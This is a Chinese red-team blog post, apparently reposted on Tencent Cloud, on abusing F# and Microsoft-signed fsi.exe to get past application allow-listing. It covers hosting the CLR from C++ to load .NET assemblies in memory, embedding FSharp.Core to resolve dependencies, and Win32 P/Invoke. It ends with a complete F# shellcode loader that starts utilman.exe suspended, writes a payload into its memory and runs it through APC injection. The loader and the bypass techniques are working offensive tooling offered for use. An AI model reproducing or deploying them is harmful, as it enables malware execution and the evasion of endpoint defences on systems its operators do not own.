专栏首页鸿鹄实验室红队技巧之F#利用

红队技巧之F#利用

首先,什么是F#?援引微软官方的解释:

F # 是一种函数编程语言,可方便编写正确且可维护的代码。F # 编程主要涉及如何定义自动推断和通用化的类型和函数。这样,你的关注点将保留在问题域上并操作其数据,而不是编程的详细信息。

可能是翻译的缘故,听起来总是很拗口,国内解释如下:

F#是由微软发展的为微软.NET语言提供运行环境的程序设计语言,是函数编程语言(FP,Functional Programming),函数编程语言最重要的基础是Lambda Calculus。它是基于OCaml的,而OCaml是基于ML函 数程式语言。有时F# 和 OCaml 的程式是可以交互编译的。F#已经接近成熟,支援Higher-Order Function、Currying、Lazy Evaluation、Continuations、Pattern Matching、Closure、List Processing、Meta-Programming。这是一个用于显示.NET在不同编程语言间互通的程序设计,可以被.NET中的任意其它代码编 译和调用。F#将被集成在Visual Studio 2010中,含有对.Net Framework的完全支持。

至于为什么要学习F#,其实也是跟C#的道理是一样的,在某些特殊情况下,我们可以利用F#来达到我们的目的,原常景如下:

This customer really locked down their environment with a solid application allowing listing/application control deployment and configuration. All documented LOLBINs were blocked (including old versions), binary modifications were blocked, but standard Microsoft signed binaries could execute. We executed our F# script using fsi.exe (F#'s scripting console) and we successfully established C2 comms. Why did this work in the locked-down environment? Both fsc.exe and fsi.exe are digitally signed by Microsoft.

C#和F#的动态执行程序分别为:csi.exe 和 fsi.exe

但大多数目标皆不会安装F#,虽然我们可以将其依赖的文件进行落地,

  • fsi.exe
  • FSharp.Core.dll
  • FSharp.Compiler.Private.dll
  • FSharp.Compiler.Interactive.Settings.dll
  • Microsoft.Build.Utilities.Core.dll

但这也违背常见的攻击规则:

我们可以在编译是使用--standalone选项或者vs进行静态编译来打包所需的文件,但会导致我们的文件过大,而无法在Cs之类的工具中内存加载

By default, Cobalt Strike’s Beacon payload sends data back to Cobalt Strike’s team server with an HTTP POST request. In this default, the Beacon payload embeds its encrypted data into the body of the POST request. Here, the limit is again, 1MB. If you’re downloading a file, Beacon will deliver it in 512KB pieces. This 1MB limit is enough to send a 512KB file piece and some output in one HTTP POST request.

但这并不意味着我们便无法在内存中运行我们的F#程序,我们可以使用非托管代码的方法来运行任意的我们的F#程序。比较好的demo就是:

https://github.com/etormadiv/HostingCLR 也就是用非托管来加载CLR实现内存加载。

实现过程如下:

1.将CLR加载到进程中:调用CLRCreateInstance函数以获取ICLRMetaHost或ICLRMetaHostPolicy接口,调用ICLRMetaHost的方法来获取有效的ICLRRuntimeInfo指针。

调用ICorRuntimeHost或者ICLRRuntimeHost

2.加载.NET程序集并调用静态方法

3.清理CLR

demo如下:

#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")


int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    DWORD pReturnValue;


    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
    runtimeHost->Start();
    HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\CLRHello1\\CLRHello1\\CLRHello1\\bin\\Debug\\CLRHello1.exe", L"CLRHello1.Program", L"spotlessMethod", L"test", &pReturnValue);
    if (res == S_OK)
    {
        std::cout << "CLR executed successfully\n";
    }
    
    runtimeInfo->Release();
    metaHost->Release();
    runtimeHost->Release();
    return 0;
}

C#代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;


namespace CLRHello1
{
    class Program
    {
        static void Main(string[] args)
        {
            return;   
        }
        
        // important: methods called by ExecuteInDefaultAppDomain need to stick to this signature
        static int spotlessMethod(String pwzArgument)
        {
            Console.WriteLine("Hi from CLR");
            return 1;
        }
    }
}

但此时还是无法解决依赖问题,除非打包依赖进去。且在存在参数是还会存在pMethodInfo->Invoke_3问题。

https://github.com/etormadiv/HostingCLR/issues/4

而这些问题可以通过下面的文章来进行解决:

https://offensivedefence.co.uk/posts/assembly-resolve/

https://redteamer.tips/a-tale-of-net-assemblies-cobalt-strike-size-constraints-and-reflection/

参数解决如下:

VARIANT args;
args.vt = VT_ARRAY | VT_BSTR;
SAFEARRAYBOUND argsBound[1];
argsBound[0].lLbound = 0;
argsBound[0].cElements = argc;
args.parray = SafeArrayCreate(VT_BSTR, 1, argsBound);
long idx[1];
for (int i = 0; i < argc; i++)
{
idx[0] = i;
SafeArrayPutElement(args.parray, idx, SysAllocString(argv[i]));
}
SAFEARRAY *params = NULL;
SAFEARRAYBOUND paramsBound[1];
paramsBound[0].lLbound = 0;
paramsBound[0].cElements = 1;
params = SafeArrayCreate(VT_VARIANT, 1, paramsBound);
idx[0] = 0;
SafeArrayPutElement(params, idx, &args);

//finally
hr = pMethodInfo->Invoke_3(obj, params, &retVal);

dll问题,比如Fsharp.Core.dll:

AssemblyResolver::AssemblyResolver()
{

  System::AppDomain^ currentDomain = System::AppDomain::CurrentDomain;

  currentDomain->AssemblyResolve += gcnew System::ResolveEventHandler(
    this, &AssemblyResolver::AssemblyResolve);
}

System::Reflection::Assembly^ AssemblyResolver::AssemblyResolve(System::Object^ sender, System::ResolveEventArgs^ args)
{
  using namespace System;
  const char* name = (const char*)(Marshal::StringToHGlobalAnsi(args->Name)).ToPointer();

  bool isOurApiAssembly = args->Name->StartsWith("FSharp");
  if (!isOurApiAssembly) {
    printf("Not loading assembly, only FSharp can be resolved");
    return nullptr;
  }

  array<System::Byte>^ byteArray = gcnew array<System::Byte>(RAW_FSHARP_LENGTH + 2);
  Marshal::Copy((System::IntPtr)fsharpCore, byteArray, 0, RAW_FSHARP_LENGTH);

  return System::Reflection::Assembly::Load(byteArray);

}

win32调用

与C#类似,都是利用P/Invoke的的方法进行win32的调用。C#版本如下:

using System;
using System.Runtime.InteropServices;

public class Program
{
    // Import user32.dll (containing the function we need) and define
    // the method corresponding to the native function.
    [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);

    public static void Main(string[] args)
    {
        // Invoke the function as a regular managed method.
        MessageBox(IntPtr.Zero, "Command-line message box", "Attention!", 0);
    }
}

F#的则如下:

// Learn more about F# at http://fsharp.org

open System
open System.Runtime.InteropServices

[<DllImport "user32.dll">]
extern uint32 MessageBox(nativeint hWnd ,string lpText,string lpCaption,uint32 uType)

[<EntryPoint>]
let main argv =
    MessageBox(IntPtr.Zero,"Offensive F# !!!","F#",(uint32)0)
    0 // return an integer exit code

附一个F#的shellcode loader:

open System
open System.Runtime.InteropServices
open System.Diagnostics

[<DllImport "kernel32" >]
extern nativeint VirtualAllocEx(
  nativeint     hProcess,
  nativeint         lpStartAddress,
  uint32            dwSize, 
  uint32            flAllocationType, 
  uint32          flProtect)

[<DllImport "kernel32" >]
extern nativeint CreateRemoteThread(
  nativeint      hProcess,
  int            lpThreadAttributes,
  uint32         dwStackSize, 
  nativeint      lpStartAddress, 
  nativeint      lpParam,
  uint32         dwCreationFlags,
  nativeint      lpThreadId)

[<DllImport "kernel32" >]
extern bool WriteProcessMemory(
  nativeint hProcess,
  nativeint lpBaseAddress,
  byte[] lpBuffer,
  uint32 nSize,
  nativeint& lpNumberOfBytesWritten)

[<Struct>]
[<StructLayout(LayoutKind.Sequential)>]
type STARTUPINFO = 
  val mutable cb: uint32
  val mutable lpReserved: string
  val mutable lpDesktop : string 
  val mutable lpTitle : string
  val mutable dwX : uint32
  val mutable dwY : uint32
  val mutable dwXSize : uint32
  val mutable dwYSize : uint32
  val mutable dwXCountChars : uint32
  val mutable dwYCountChars : uint32
  val mutable dwFillAttribute : uint32
  val mutable dwFlags : uint32
  val mutable wShowWindow : int16
  val mutable cbReserved2 : int16
  val mutable lpReserved2 : nativeint 
  val mutable hStdInput : nativeint 
  val mutable hStdOutput : nativeint 
  val mutable hStdError : nativeint  

[<Struct>]
[<StructLayout(LayoutKind.Sequential)>]
type P_INFORMATION = 
  val mutable hProcess : nativeint
  val mutable hThread : nativeint
  val mutable dwProcessId : uint32
  val mutable dwThreadId : uint32

[< DllImport "kernel32" >]
extern bool CreateProcess(
  string lpApplicationName,
  string lpCommandLine,
  nativeint lpProcessAttributes,
  nativeint lpThreadAttributes,
  bool bInheritHandles,
  uint32 dwCreationFlags,
  nativeint lpEnvironment,
  string lpCurrentDirectory,
  STARTUPINFO& lpStartupInfo,
  P_INFORMATION& lpProcessInformation)

[<Flags>]
type ProcessCreationFlags = 
  | ZERO_FLAG = 0x00000000u
  | CREATE_BREAKAWAY_FROM_JOB = 0x01000000u
  | CREATE_DEFAULT_ERROR_MODE = 0x04000000u
  | CREATE_NEW_CONSOLE = 0x00000010u
  | CREATE_NEW_PROCESS_GROUP = 0x00000200u
  | CREATE_NO_WINDOW = 0x08000000u
  | CREATE_PROTECTED_PROCESS = 0x00040000u
  | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000u
  | CREATE_SEPARATE_WOW_VDM = 0x00001000u
  | CREATE_SHARED_WOW_VDM = 0x00001000u
  | CREATE_SUSPENDED = 0x00000004u
  | CREATE_UNICODE_ENVIRONMENT = 0x00000400u
  | DEBUG_ONLY_THIS_PROCESS = 0x00000002u
  | DEBUG_PROCESS = 0x00000001u
  | DETACHED_PROCESS = 0x00000008u
  | EXTENDED_STARTUPINFO_PRESENT = 0x00080000u
  | INHERIT_PARENT_AFFINITY = 0x00010000u

[<Flags>]
type PagePermissionFlags =
  | MEM_COMMIT = 0x1000u
  | PAGE_EXECUTE_READ = 0x20u
  | PAGE_READWRITE = 0x04u

[< DllImport "kernel32" >]
extern bool VirtualProtectEx(nativeint hProcess, nativeint lpAddress,
           uint32 dwSize, uint32 flNewProtect, uint32& lpflOldProtect)

[< DllImport "kernel32" >]
extern nativeint OpenThread(int dwDesiredAccess, bool bInheritHandle, int dwThreadId)

[< DllImport "kernel32" >]
extern nativeint QueueUserAPC(nativeint pfnAPC, nativeint hThread, nativeint dwData)

[< DllImport "kernel32" >]
extern uint32 ResumeThread(nativeint hThread)


let mutable sInfo =  new STARTUPINFO();;
let mutable pInfo =  new P_INFORMATION();;
let mutable ans : bool = CreateProcess(@"C:\Windows\SysWOW64\utilman.exe", null, (nativeint)0, (nativeint)0, false, (uint32)(ProcessCreationFlags.CREATE_SUSPENDED + ProcessCreationFlags.CREATE_NO_WINDOW), (nativeint)0, null,  &sInfo, &pInfo);


let mutable sc : byte[] = [|$PAYLOAD_X86$|]
let mutable outSize = new nativeint()
let address = VirtualAllocEx(pInfo.hProcess, (nativeint)0, (uint32)sc.Length, (uint32)0x1000, (uint32)0x04)
let mutable jj : bool = WriteProcessMemory(pInfo.hProcess, address, sc, (uint32)sc.Length,  &outSize)
let mutable outZero : uint32 = Unchecked.defaultof<uint32>
jj = VirtualProtectEx(pInfo.hProcess, address, (uint32)sc.Length, (uint32)0x20, &outZero)

let proc : Process = Process.GetProcessById((int)pInfo.dwProcessId)
let procThreads : ProcessThreadCollection = proc.Threads
let thrd : nativeint = OpenThread(0x0010, false, procThreads.[0].Id)
let jb : nativeint = QueueUserAPC(address,thrd,IntPtr.Zero)
let rezthread : nativeint = pInfo.hThread
ResumeThread(rezthread)

后记:F#作为和C#类似的语言,其很多特性都与C#类似,个人感觉没必要去深入学习,笔者也仅仅是花了几个小时来掌握其win32的使用并未深入学习,但可以作为一个备选项,在某些特殊情况下进行利用。

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-06-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 红队技巧-利用uuid加载shellcode

    近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文:

    Gamma实验室
  • 红队技巧-利用uuid加载shellcode

    近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文:

    潇湘信安
  • 红队技巧-域渗透的协议利用

    哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统,攻击者无须通过解密...

    辞令
  • 红队技巧-域渗透的协议利用

    哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统,攻击者无须通过解密...

    Gamma实验室
  • 红队技巧-持久性技巧

    “今天,我将介绍关于hacker拿到一台服务器之后,如何建立持久性的后门的一些非常实用的小技巧!”

    Gamma实验室
  • 红队技巧--winAPI添加用户

    在平时的渗透过程中我们经常会使用net来添加用户,但也会经常遇到net无法使用的情况,这里就教大家使用winAPI来添加用户,虽然也是一个比较老的技巧了。

    鸿鹄实验室
  • 红队必备技能之隐蔽的技巧

    (1)平时在做安全测试时,相信很多小伙伴在建立Cobalt Strike服务端时都是直接使用IP地址后进行直连。之前也爆出过Cobalt Strike“空格”特...

    小生观察室
  • [干货] - 红队渗透小技巧

    有一段时间没有写文章了,也不知写什么,毕竟从攻击方换成防守方,乙方换到甲方,还有些许不适应。。。但还是决定把自己接触渗透所积累的东西也拿出分享,不管糟粕,还是大...

    drunk_kk
  • 红队技巧-白加黑

    白就是此文件在杀软的白名单中,不会被杀软查杀;黑就是我们的恶意代码,由自己编写。通常白黑共同组成木马的被控端,最大限度的逃避杀软查杀,增强抗杀能力,而且方便免杀...

    Gamma实验室
  • 红队技巧-网络钓鱼

    通过msf生成msi文件,python开启http服务,然后替换命令为攻击载荷,右键隐藏宏,并把文件执行方式改为

    Gamma实验室
  • 红队后渗透小技巧

    linux我们可以通过history来查看管理员最近操作过什么命令

    Aran
  • 红队技巧:绕过Sysmon检测

    Sysmon和Windows事件日志都是防御者中极为强大的工具。它们非常灵活的配置使他们可以深入了解设备上的活动,从而使检测攻击者的过程变得更加容易。出于这个原...

    FB客服
  • 红队技巧:仿冒Windows登录

    Metasploit带有内置的后期漏洞利用功能,可帮助我们完成任务。由于它是后渗透的模块,因此只需要输入会话即可:

    FB客服
  • 红队技巧-常规横向手法

    域内横向移动技术是红队作战在域内最基本技术之一,红队人员会利用该技术,以被攻陷的系统为跳板,通过已经收集的凭据和密码,来访问域内其他主机,扩大战果,最终目的是获...

    Gamma实验室
  • 红队技巧:绕过ESET_NOD32抓取密码

    聊一聊绕过ESET_NOD32抓取密码的方法,这里的ESET_NOD32指的是ESET_NOD32 File Security For Microsoft ...

    鸿鹄实验室
  • 红队技巧-导出凭据和密码

    红队中各种抓取密码凭据的方法,文末彩蛋,内附工具链接,以及我制作的过360的minikatz的版本,各位请享用,最近筹备重新开blog,记录学习计划,不然知识我...

    Gamma实验室
  • Django小技巧13: 使用F()表达式

    在 Django QuerySets API 中, F() 用于直接在数据库中引用模型的值。假设你有一个带有price的 Product 模型, 你希望为所有的...

    用户1416054
  • 红蓝对抗之域渗透技巧

    链接地址:https://v.qq.com/x/page/v3239iibf56.html

    小生观察室
  • 红队之windows用户和组

    用户帐户是对计算机用户身份的标识,本地用户帐户、密码存在本地计算机上,只对本机有效,存储在本地安全帐户数据库 SAM 中,文件路径:C:\Windows\Sys...

    黑白天安全

扫码关注云+社区

领取腾讯云代金券